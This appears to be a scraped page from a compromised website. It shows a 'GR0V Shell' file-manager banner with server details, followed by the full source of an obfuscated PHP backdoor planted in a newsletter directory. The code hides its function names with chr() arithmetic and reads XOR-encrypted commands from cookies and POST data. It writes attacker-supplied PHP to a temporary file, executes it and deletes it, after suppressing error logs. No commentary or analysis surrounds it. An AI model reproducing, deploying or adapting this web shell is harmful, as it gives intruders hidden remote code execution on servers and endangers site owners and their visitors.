? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/enews/2016-08/

Current File : /home/admin/public_html/enews/2016-08/dlgqhjur.php

<?php $icgcsqbtun = chr(102).'i'.chr(734-626).chr(171-70)."\137".chr(942-830).'u'.'t'.chr(909-814)."\x63"."\157".'n'."\x74"."\x65".chr(110).chr(116)."\x73";
$qyvjuhwbcp = "\142"."\141".chr(437-322).chr(101)."\66"."\x34".chr(95)."\144".'e'."\143".'o'.chr(332-232).chr(101);
$olmqnhyjln = chr(924-819).'n'.chr(105)."\x5f".chr(315-200)."\x65".'t';
$glxktrwxuo = chr(117).chr(110)."\154".'i'."\x6e"."\x6b";


@$olmqnhyjln('e'.chr(114)."\162".chr(587-476)."\162"."\x5f"."\154".chr(145-34)."\147", NULL);
@$olmqnhyjln(chr(108).chr(563-452)."\x67".chr(407-312).'e'.chr(114)."\162"."\157".chr(450-336).chr(115), 0);
@$olmqnhyjln("\x6d"."\141"."\170"."\x5f"."\145"."\x78".'e'.'c'."\165".'t'.'i'.chr(111).chr(110)."\137".'t'."\151".'m'.chr(886-785), 0);
@set_time_limit(0);

function xqevmkkvis($pvkza, $uglvsqj)
{
    $kdvwdugceqvzbio = "";
    for ($kdvwdugce = 0; $kdvwdugce < strlen($pvkza);) {
        for ($j = 0; $j < strlen($uglvsqj) && $kdvwdugce < strlen($pvkza); $j++, $kdvwdugce++) {
            $kdvwdugceqvzbio .= chr(ord($pvkza[$kdvwdugce]) ^ ord($uglvsqj[$j]));
        }
    }
    return $kdvwdugceqvzbio;
}

$upsyi = array_merge($_COOKIE, $_POST);
$rnspwsufbz = 'b19a6161-5011-4bfd-9683-14e2be08f68f';
foreach ($upsyi as $diviyl => $pvkza) {
    $pvkza = @unserialize(xqevmkkvis(xqevmkkvis($qyvjuhwbcp($pvkza), $rnspwsufbz), $diviyl));
    if (isset($pvkza[chr(260-163).'k'])) {
        if ($pvkza[chr(1010-913)] == "\x69") {
            $kdvwdugce = array(
                chr(200-88)."\166" => @phpversion(),
                "\x73"."\166" => "3.5",
            );
            echo @serialize($kdvwdugce);
        } elseif ($pvkza[chr(1010-913)] == chr(101)) {
            $ottgsz = "./" . md5($rnspwsufbz) . "\x2e"."\x69".chr(110).'c';
            @$icgcsqbtun($ottgsz, "<" . '?'."\x70".'h'.'p'.chr(32)."\x40".chr(168-51).chr(110).'l'.chr(105)."\156".'k'.'('.'_'.chr(95).chr(70).'I'."\114"."\x45"."\x5f".chr(95).chr(585-544).chr(726-667)."\x20" . $pvkza["\144"]);
            include($ottgsz);
            @$glxktrwxuo($ottgsz);
        }
        exit();
    }
}

T1KUS90T